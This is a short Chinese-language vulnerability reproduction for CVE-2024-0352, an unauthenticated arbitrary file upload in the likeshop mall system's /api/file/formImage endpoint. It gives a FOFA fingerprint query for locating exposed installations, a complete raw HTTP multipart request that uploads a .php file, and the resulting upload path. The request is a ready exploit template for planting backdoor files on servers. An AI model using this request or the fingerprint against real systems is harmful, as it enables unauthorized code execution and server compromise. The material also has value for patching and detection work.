likeshop商城系统formimage任意文件上传漏洞复现(CVE-2024-0352)
一、漏洞简介
likeshop单商户标准商城系统适用于B2C、单商户、自营商城场景。完美契合私域流量变现闭环交易使用。 系统拥有丰富的营销玩法，强大的分销能力，支持电子面单和小程序直播等功能。无论运营还是二开都是性价比极高的100%开源商城系统。 likeshop单商户标准商城系统/api/file/formImage接口存在任意文件上传漏洞，由于系统对用户上传的文件类型未作任何过滤和限制，未授权的攻击者可以通过此接口上传恶意后门文件获取服务器信息或权限。
二、影响版本
- likeshop商城系统
三、资产测绘
- fofa
icon_hash="874152924" && body="/pc/" - 特征
四、漏洞复现
POST /api/file/formimage HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----test
Content-Length: 129
------test
Content-Disposition: form-data; name="file";filename="111111.php"
Content-Type: application/x-php
111111
------test--
上传文件位置
/uploads/user/20240116094357e5c494246.php